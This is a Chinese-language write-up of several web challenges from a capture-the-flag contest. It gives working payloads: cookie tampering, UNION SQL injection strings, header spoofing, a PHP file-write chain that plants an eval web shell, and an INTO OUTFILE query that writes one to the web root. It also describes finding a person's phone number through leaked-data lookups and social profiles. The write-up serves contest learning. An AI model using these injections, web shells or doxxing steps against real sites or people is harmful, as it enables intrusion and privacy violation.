第七季极客大挑战解答

趁着题目还在,及时做了几道题目,其中有几道题目还是不错的。
题目地址: http://geek.sycsec.com/game/web

web_1

来搞web了,先瞅瞅基础姿势 http://web.sycsec.com/a59817b3061870c0/

抓包,在Response包中可以得到flag

web_2

来搞web了,先瞅瞅基础姿势 http://web.sycsec.com/ce9b3a20d290fbc8/

抓包,在请求包中存在Cookie: whoami=guest%40geekgame; root=0; __jsluid=.......

1
Cookie: whoami=guest%40geekgame; root=0; __jsluid=.......

修改为Cookie: whoami=admin%40geekgame; root=1; __jsluid=.......

Social Engineering

有一天我捕了一只狗师傅,嘴里叼着一张纸,纸上赫然写着:http://web.sycsec.com/36da077bd47665ae/ (解题不需要联系题目邮箱和电话号码,请不要试图联系题目的邮箱和电话号码)

这道题目是一道社会工程学,就比较有意思了。
访问URL,得到页面:

页面中存在邮箱,手机号,以及贴吧的相关信息。
查选社工库,得到:

得到对应的用户数是肖力,进入到贴吧

接下来进入到肖力的QQ空间,发现他最近买了一个域名,于是查询sycsec.com的whois信息,在万网上面查询域名信息,最后域名申请人的电话即为flag。
这算是一个简单的社会工程学的题目吧

sqli1

呃,听说这个和数据库有关呢-,- http://web.sycsec.com/d03e52c272e42e7c/

这道题目唯一比较有趣的地方在于数据库的表名是#FL4G#,包括了mysql中的注释符。
如果直接使用payload则会出错:

表名无法进行查询。

需要将#FL4G#中的#进行转义,那么就应该写为

1
http://web.sycsec.com/d03e52c272e42e7c/?sycid=-1 union select 1,group_concat(id,flag),3 from `#FL4G#`

最后进行urlencode编码就可以得到flag。

sqli2

我是萌萌哒sqli2:http://web.sycsec.com/a2274e0e500459f7/

常规的SQL注入题目,其中的唯一要求就是需要满足返回的结果只有一条

1
2
http://web.sycsec.com/a2274e0e500459f7/login.php
POST Data:username=' union select 1,2#&password=admin&debug=1

127.0.0.x

落雨声滴答滴滴,回荡着轻声细语:http://game.sycsec.com:50080/69e57206e1bc2a23/
使用X-Forwarded-For:127.0.0.X就可以了

php_is_fun

phpinfo() is disabled; http://game.sycsec.com:50084/

这道题目还是比较有趣的,需要一定的技术能力和脑洞。
访问页面,得到如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}

if(strpos($path,'..') > -1){
die('SYCwaf!');
}

if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}

发现,程序会访问url中的$file参数,然后写入到$path文件中。例如当访问:

1
http://game.sycsec.com:50084/?file=http://127.0.0.1/index.php&path=tmp.txt

显示结果如下:

但是这道题目该如何绕过呢?由于$path是我们直接输入的,那么$path就完全是我们可控的,我们可以考虑在$path写为一句话木马。
那么最后的payload为:

1
http://game.sycsec.com:50084/?path=lemon.php&file=http%3A%2f%2f127.0.0.1%2f%3Fpath%3D%253C%253Fphp%2520@eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%26file%3Dhttp%3A%2f%2f127.0.0.1%2findex.php

上述的payload的原理在于,在第二次访问url时,path=<?php @eval($_POST[1]);?>,会被echo输出,最后第二次访问返回的就是console.log(<?php @eval($_POST[1]);?> update successed!),最后就会写入到lemon.php中,那么形成了一句话木马了。
最后就可以利用菜刀连接木马,得到flag。

撸啊撸

喜欢玩LOL么 http://lol.sycsec.com

使用burp进行抓包分析,发现存在文件读取漏洞

1
http://lol.sycsec.com/download.php?url=images/1.jpg

尝试读取index.php、api.php、download.php文件
发现在api.php存在问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);
include "json.php";
$config = include "config.inc.php";

if (isset($_GET['img_first']) and isset($_GET['img_num'])){
$img_first = $_GET['img_first'];
$img_num = $_GET['img_num'];
$conn = mysqli_connect($config['db_host'],$config['db_user'],$config['db_pwd'],$config['database']);

if (mysqli_connect_errno($conn)){
die("Can not connect mysql!".mysqli_connect_error());
}

$check = is_numeric($img_num) and is_numeric($img_first);

if (!$check){
$img_num = intval($img_num);
$img_first = intval($img_first);
}

$sql = "SELECT * FROM images LIMIT $img_first,$img_num";
$result = mysqli_query($conn,$sql);

$i = 0;
while($row=mysqli_fetch_array($result,MYSQLI_ASSOC)){
$rows[$i] = $row;
$i++;
}
$json = new Services_JSON();
echo $json->encode(array('result'=>$rows));
//echo json_encode(array('result'=>$rows),JSON_UNESCAPED_SLASHES);
}else {
die("Missing parameter img_first or img_num");
}

其中的关键代码是在于:

1
$check = is_numeric($img_num) and is_numeric($img_first);

在php中的优先级是: &&大于=,=大于and。所以and后面的语句是没有用的,只需要满足is_numeric($img_num)为True即可。
尝试注入如下语句:

1
http://lol.sycsec.com/api.php?img_num=10&img_first=1  union select 1,2--+

页面返回{"result":[{"id":"1","path":"images\/1.jpg"},{"id":"1","path":"2"}]}
那么说明参数img_first是存在SQL注入漏洞的。
尝试读取数据库信息

1
2
3
4
5
http://lol.sycsec.com/api.php?
img_num=10
&
img_first=1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()
--+

页面返回{"result":[{"id":"1","path":"images\/1.jpg"},{"id":"1","path":"images"}]}
在数据库中只存在images表,说明在数据库中不存在flag。
尝试使用SQL语句写入一句话木马

1
2
3
4
5
http://lol.sycsec.com/api.php?
img_num=10
&
img_first=1 union select 1, '<?php @eval($_POST[])?>' from into outfile '/var/www/html/cmd.php'
--+

最后使用菜刀连接,就可以得到flag。

Only number never lies to you(score:250)

http://game.sycsec.com:50082/ Only number never lies to you.
Tip:dir

还没有来得及做,就无法访问了。

参考

第七季极客大挑战writeup http://blog.sycsec.com/?p=894